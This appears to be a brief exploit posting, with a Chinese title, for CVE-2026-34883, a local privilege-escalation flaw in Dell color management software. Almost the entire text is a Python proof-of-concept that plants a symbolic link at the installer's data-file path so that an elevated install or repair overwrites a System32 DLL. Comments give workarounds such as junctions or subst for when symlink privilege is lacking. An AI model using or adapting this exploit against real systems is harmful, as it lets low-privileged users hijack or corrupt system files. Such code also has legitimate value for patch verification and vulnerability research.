CVE-2026-34883 Dell色彩管理本地提权漏洞

import os import sys # PoC for CVE-2026-34883 # This script demonstrates how a low-privileged user can create a symbolic link # to exploit the arbitrary file write vulnerability during installation. def create_symlink_poc(): # Target path where the installer tries to write installer_target_path = r"C:\ProgramData\Portrait Displays\CW\data\i1D3\CCFLFamily_07Feb11.edr" # Malicious destination (e.g., a system DLL or config file) # Example: Overwriting a service binary or DLL hijacking malicious_target = r"C:\Windows\System32\evil.dll" print(f"[*] Creating directory structure for: {os.path.dirname(installer_target_path)}") try: os.makedirs(os.path.dirname(installer_target_path), exist_ok=True) except Exception as e: print(f"[-] Failed to create directory: {e}") return print(f"[*] Creating symbolic link from {installer_target_path} to {malicious_target}") # Note: Creating symbolic links on Windows usually requires Developer Mode enabled # or SeCreateSymbolicLinkPrivilege. If not available, NTFS Junctions can be used for directories. # For file specific exploits, mounting a disk via 'subst' or using junctions on parent folders might be needed. # Here we assume the privilege is available or the environment allows it. try: os.symlink(malicious_target, installer_target_path) print("[+] Symbolic link created successfully.") print("[!] Wait for the installer or repair process to run with elevated privileges.") except OSError as e: print(f"[-] Failed to create symlink: {e}") print("[!] Ensure you have the necessary privileges or are running in a compatible environment.") if __name__ == "__main__": create_symlink_poc()